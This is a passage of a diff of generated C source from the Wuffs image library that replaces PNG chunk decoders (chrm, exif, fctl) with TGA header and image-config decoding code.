4; -- } else { -- self->private_data.s_decode_chrm[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; -- uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); -- if (num_bits_3 == 24) { -- t_3 = ((uint64_t)(*scratch >> 32)); -- break; -- } -- num_bits_3 += 8u; -- *scratch |= ((uint64_t)(num_bits_3)); -- } -- } -- v_u = t_3; -- } -- self->private_impl.f_metadata_y |= ((16777215u & v_u) << 8u); -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- uint64_t t_4; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_4 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_chrm[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; -- uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); -- if (num_bits_4 == 24) { -- t_4 = ((uint64_t)(*scratch >> 32)); -- break; -- } -- num_bits_4 += 8u; -- *scratch |= ((uint64_t)(num_bits_4)); -- } -- } -- v_u = t_4; -- } -- self->private_impl.f_metadata_y |= ((16777215u & v_u) << 32u); -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -- uint64_t t_5; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_5 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_chrm[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; -- uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); -- if (num_bits_5 == 24) { -- t_5 = ((uint64_t)(*scratch >> 32)); -- break; -- } -- num_bits_5 += 8u; -- *scratch |= ((uint64_t)(num_bits_5)); -- } -- } -- v_u = t_5; -- } -- self->private_impl.f_metadata_y |= ((uint64_t)((16777215u & v_u) << 56u)); -- self->private_impl.f_metadata_z |= ((16777215u & v_u) >> 8u); -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); -- uint64_t t_6; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_6 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_chrm[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; -- uint32_t num_bits_6 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_6); -- if (num_bits_6 == 24) { -- t_6 = ((uint64_t)(*scratch >> 32)); -- break; -- } -- num_bits_6 += 8u; -- *scratch |= ((uint64_t)(num_bits_6)); -- } -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_image_config(self, a_dst, a_src); -+ v_status = t_0; - } -- v_u = t_6; -- } -- self->private_impl.f_metadata_z |= ((16777215u & v_u) << 16u); -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); -- uint64_t t_7; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_7 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_chrm[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; -- uint32_t num_bits_7 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_7); -- if (num_bits_7 == 24) { -- t_7 = ((uint64_t)(*scratch >> 32)); -- break; -- } -- num_bits_7 += 8u; -- *scratch |= ((uint64_t)(num_bits_7)); -- } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_tga__error__truncated_input); -+ goto exit; - } -- v_u = t_7; -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); - } -- self->private_impl.f_metadata_z |= ((16777215u & v_u) << 40u); - -- goto ok; - ok: -- self->private_impl.p_decode_chrm[0] = 0; -+ self->private_impl.p_decode_image_config = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_chrm[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- -- return status; --} -- --// -------- func png.decoder.decode_exif -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_exif( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -- -- if (self->private_impl.f_chunk_length < 4u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -- } -- self->private_impl.f_metadata_flavor = 3u; -- self->private_impl.f_metadata_fourcc = 1163413830u; -- self->private_impl.f_metadata_x = 0u; -- self->private_impl.f_metadata_y = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -- self->private_impl.f_metadata_z = wuffs_base__u64__sat_add(self->private_impl.f_metadata_y, ((uint64_t)(self->private_impl.f_chunk_length))); -- self->private_impl.f_chunk_length = 0u; -+ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; - -- goto ok; -- ok: - goto exit; - exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; - } -- - return status; - } - --// -------- func png.decoder.decode_fctl -+// -------- func tga.decoder.do_decode_image_config - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_png__decoder__decode_fctl( -- wuffs_png__decoder* self, -+wuffs_tga__decoder__do_decode_image_config( -+ wuffs_tga__decoder* self, -+ wuffs_base__image_config* a_dst, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint32_t v_x0 = 0; -- uint32_t v_y0 = 0; -- uint32_t v_x1 = 0; -- uint32_t v_y1 = 0; -+ uint32_t v_c32 = 0; -+ uint32_t v_c5 = 0; -+ uint32_t v_i = 0; - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -55899,309 +69341,577 @@ wuffs_png__decoder__decode_fctl( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_fctl[0]; -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; - if (coro_susp_point) { -- v_x0 = self->private_data.s_decode_fctl[0].v_x0; -- v_x1 = self->private_data.s_decode_fctl[0].v_x1; -- v_y1 = self->private_data.s_decode_fctl[0].v_y1; -+ v_i = self->private_data.s_do_decode_image_config.v_i; - } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (self->private_impl.f_chunk_length != 26u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ if (self->private_impl.f_call_sequence != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); - goto exit; - } -- self->private_impl.f_chunk_length = 0u; - { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- uint32_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_fctl[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -- if (num_bits_0 == 24) { -- t_0 = ((uint32_t)(*scratch >> 32)); -- break; -- } -- num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)); -- } -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- v_x0 = t_0; -+ uint8_t t_0 = *iop_a_src++; -+ self->private_impl.f_header_id_length = t_0; - } -- if (v_x0 != self->private_impl.f_next_animation_seq_num) { -- status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); -- goto exit; -- } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { -- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ self->private_impl.f_header_color_map_type = t_1; -+ } -+ if (self->private_impl.f_header_color_map_type > 1u) { -+ status = wuffs_base__make_status(wuffs_tga__error__bad_header); - goto exit; - } -- self->private_impl.f_next_animation_seq_num += 1u; - { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- uint32_t t_1; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_fctl[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; -- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); -- if (num_bits_1 == 24) { -- t_1 = ((uint32_t)(*scratch >> 32)); -- break; -- } -- num_bits_1 += 8u; -- *scratch |= ((uint64_t)(num_bits_1)); -- } -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; - } -- v_x1 = t_1; -+ uint8_t t_2 = *iop_a_src++; -+ self->private_impl.f_header_image_type = t_2; - } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -- uint32_t t_2; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_2 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_fctl[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; -- uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); -- if (num_bits_2 == 24) { -- t_2 = ((uint32_t)(*scratch >> 32)); -- break; -- } -- num_bits_2 += 8u; -- *scratch |= ((uint64_t)(num_bits_2)); -- } -- } -- v_y1 = t_2; -+ if ((self->private_impl.f_header_image_type == 1u) || -+ (self->private_impl.f_header_image_type == 2u) || -+ (self->private_impl.f_header_image_type == 3u) || -+ (self->private_impl.f_header_image_type == 9u) || -+ (self->private_impl.f_header_image_type == 10u) || -+ (self->private_impl.f_header_image_type == 11u)) { -+ } else { -+ status = wuffs_base__make_status(wuffs_tga__error__bad_header); -+ goto exit; - } - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- uint32_t t_3; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ uint16_t t_3; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_3 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); -+ iop_a_src += 2; - } else { -- self->private_data.s_decode_fctl[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); - while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; -- uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); - *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); -- if (num_bits_3 == 24) { -- t_3 = ((uint32_t)(*scratch >> 32)); -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; -+ if (num_bits_3 == 8) { -+ t_3 = ((uint16_t)(*scratch)); - break; - } - num_bits_3 += 8u; -- *scratch |= ((uint64_t)(num_bits_3)); -+ *scratch |= ((uint64_t)(num_bits_3)) << 56; - } - } -- v_x0 = t_3; -+ self->private_impl.f_header_color_map_first_entry_index = t_3; - } - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -- uint32_t t_4; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_4 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ uint16_t t_4; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_4 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); -+ iop_a_src += 2; - } else { -- self->private_data.s_decode_fctl[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); - while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; -- uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); - *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); -- if (num_bits_4 == 24) { -- t_4 = ((uint32_t)(*scratch >> 32)); -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; -+ if (num_bits_4 == 8) { -+ t_4 = ((uint16_t)(*scratch)); - break; - } - num_bits_4 += 8u; -- *scratch |= ((uint64_t)(num_bits_4)); -+ *scratch |= ((uint64_t)(num_bits_4)) << 56; - } - } -- v_y0 = t_4; -+ self->private_impl.f_header_color_map_length = t_4; - } -- v_x1 += v_x0; -- v_y1 += v_y0; -- if ((v_x0 >= v_x1) || -- (v_x0 > self->private_impl.f_width) || -- (v_x1 > self->private_impl.f_width) || -- (v_y0 >= v_y1) || -- (v_y0 > self->private_impl.f_height) || -- (v_y1 > self->private_impl.f_height)) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_5 = *iop_a_src++; -+ self->private_impl.f_header_color_map_entry_size = t_5; - } -- self->private_impl.f_frame_rect_x0 = v_x0; -- self->private_impl.f_frame_rect_y0 = v_y0; -- self->private_impl.f_frame_rect_x1 = v_x1; -- self->private_impl.f_frame_rect_y1 = v_y1; -+ if (self->private_impl.f_header_color_map_type != 0u) { -+ if ((self->private_impl.f_header_color_map_first_entry_index != 0u) || (self->private_impl.f_header_color_map_length > 256u)) { -+ status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); -+ goto exit; -+ } else if ((self->private_impl.f_header_color_map_entry_size != 15u) && -+ (self->private_impl.f_header_color_map_entry_size != 16u) && -+ (self->private_impl.f_header_color_map_entry_size != 24u) && -+ (self->private_impl.f_header_color_map_entry_size != 32u)) { -+ status = wuffs_base__make_status(wuffs_tga__error__bad_header); -+ goto exit; -+ } -+ } else { -+ if ((self->private_impl.f_header_color_map_first_entry_index != 0u) || (self->private_impl.f_header_color_map_length != 0u) || (self->private_impl.f_header_color_map_entry_size != 0u)) { -+ status = wuffs_base__make_status(wuffs_tga__error__bad_header); -+ goto exit; -+ } -+ } -+ self->private_data.s_do_decode_image_config.scratch = 4u; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_do_decode_image_config.scratch; - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -- uint32_t t_5; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -+ uint32_t t_6; - if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_5 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -+ t_6 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); - iop_a_src += 2; - } else { -- self->private_data.s_decode_fctl[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); - while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; -- uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_6 = ((uint32_t)(*scratch >> 56)); - *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); -- if (num_bits_5 == 8) { -- t_5 = ((uint32_t)(*scratch >> 48)); -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_6; -+ if (num_bits_6 == 8) { -+ t_6 = ((uint32_t)(*scratch)); - break; - } -- num_bits_5 += 8u; -- *scratch |= ((uint64_t)(num_bits_5)); -+ num_bits_6 += 8u; -+ *scratch |= ((uint64_t)(num_bits_6)) << 56; - } - } -- v_x0 = t_5; -+ self->private_impl.f_width = t_6; - } - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); -- uint32_t t_6; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -+ uint32_t t_7; - if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -- t_6 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -+ t_7 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); - iop_a_src += 2; - } else { -- self->private_data.s_decode_fctl[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); - while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_decode_fctl[0].scratch; -- uint32_t num_bits_6 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); - *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_6); -- if (num_bits_6 == 8) { -- t_6 = ((uint32_t)(*scratch >> 48)); -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; -+ if (num_bits_7 == 8) { -+ t_7 = ((uint32_t)(*scratch)); - break; - } -- num_bits_6 += 8u; -- *scratch |= ((uint64_t)(num_bits_6)); -+ num_bits_7 += 8u; -+ *scratch |= ((uint64_t)(num_bits_7)) << 56; - } - } -- v_x1 = t_6; -- } -- if (v_x1 <= 0u) { -- self->private_impl.f_frame_duration = (((uint64_t)(v_x0)) * 7056000u); -- } else { -- self->private_impl.f_frame_duration = ((((uint64_t)(v_x0)) * 705600000u) / ((uint64_t)(v_x1))); -+ self->private_impl.f_height = t_7; - } - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint32_t t_7 = *iop_a_src++; -- v_x0 = t_7; -+ uint8_t t_8 = *iop_a_src++; -+ self->private_impl.f_header_pixel_depth = t_8; - } -- if (v_x0 == 0u) { -- self->private_impl.f_frame_disposal = 0u; -- } else if (v_x0 == 1u) { -- self->private_impl.f_frame_disposal = 1u; -- } else if (v_x0 == 2u) { -- self->private_impl.f_frame_disposal = 2u; -- } else { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ if ((self->private_impl.f_header_pixel_depth != 1u) && -+ (self->private_impl.f_header_pixel_depth != 8u) && -+ (self->private_impl.f_header_pixel_depth != 15u) && -+ (self->private_impl.f_header_pixel_depth != 16u) && -+ (self->private_impl.f_header_pixel_depth != 24u) && -+ (self->private_impl.f_header_pixel_depth != 32u)) { -+ status = wuffs_base__make_status(wuffs_tga__error__bad_header); - goto exit; - } -+ if (((uint8_t)(self->private_impl.f_header_image_type | 8u)) == 9u) { -+ self->private_impl.f_scratch_bytes_per_pixel = 1u; -+ self->private_impl.f_src_bytes_per_pixel = 1u; -+ self->private_impl.f_src_pixfmt = 2164523016u; -+ self->private_impl.f_opaque = ((self->private_impl.f_header_color_map_entry_size == 15u) || (self->private_impl.f_header_color_map_entry_size == 24u)); -+ } else if (((uint8_t)(self->private_impl.f_header_image_type | 8u)) == 10u) { -+ if ((self->private_impl.f_header_pixel_depth == 15u) || (self->private_impl.f_header_pixel_depth == 16u)) { -+ self->private_impl.f_scratch_bytes_per_pixel = 4u; -+ self->private_impl.f_src_bytes_per_pixel = 0u; -+ self->private_impl.f_src_pixfmt = 2164295816u; -+ } else if (self->private_impl.f_header_pixel_depth == 24u) { -+ self->private_impl.f_scratch_bytes_per_pixel = 3u; -+ self->private_impl.f_src_bytes_per_pixel = 3u; -+ self->private_impl.f_src_pixfmt = 2147485832u; -+ self->private_impl.f_opaque = true; -+ } else if (self->private_impl.f_header_pixel_depth == 32u) { -+ self->private_impl.f_scratch_bytes_per_pixel = 4u; -+ self->private_impl.f_src_bytes_per_pixel = 4u; -+ self->private_impl.f_src_pixfmt = 2164295816u; -+ } else { -+ status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); -+ goto exit; -+ } -+ } else { -+ if (self->private_impl.f_header_pixel_depth == 8u) { -+ self->private_impl.f_scratch_bytes_per_pixel = 1u; -+ self->private_impl.f_src_bytes_per_pixel = 1u; -+ self->private_impl.f_src_pixfmt = 536870920u; -+ self->private_impl.f_opaque = true; -+ } else { -+ status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); -+ goto exit; -+ } -+ } - { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint32_t t_8 = *iop_a_src++; -- v_x0 = t_8; -- } -- if (v_x0 == 0u) { -- self->private_impl.f_frame_overwrite_instead_of_blend = true; -- } else if (v_x0 == 1u) { -- self->private_impl.f_frame_overwrite_instead_of_blend = false; -+ uint8_t t_9 = *iop_a_src++; -+ self->private_impl.f_header_image_descriptor = t_9; -+ } -+ if (((uint8_t)(self->private_impl.f_header_image_descriptor & 16u)) != 0u) { -+ status = wuffs_base__make_status(wuffs_tga__error__unsupported_tga_file); -+ goto exit; -+ } -+ self->private_data.s_do_decode_image_config.scratch = ((uint32_t)(self->private_impl.f_header_id_length)); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); -+ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_do_decode_image_config.scratch; -+ if (self->private_impl.f_header_color_map_type != 0u) { -+ while (v_i < ((uint32_t)(self->private_impl.f_header_color_map_length))) { -+ if (self->private_impl.f_header_color_map_entry_size == 24u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); -+ uint32_t t_10; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 3)) { -+ t_10 = ((uint32_t)(wuffs_base__peek_u24le__no_bounds_check(iop_a_src))); -+ iop_a_src += 3; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_10 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_10; -+ if (num_bits_10 == 16) { -+ t_10 = ((uint32_t)(*scratch)); -+ break; -+ 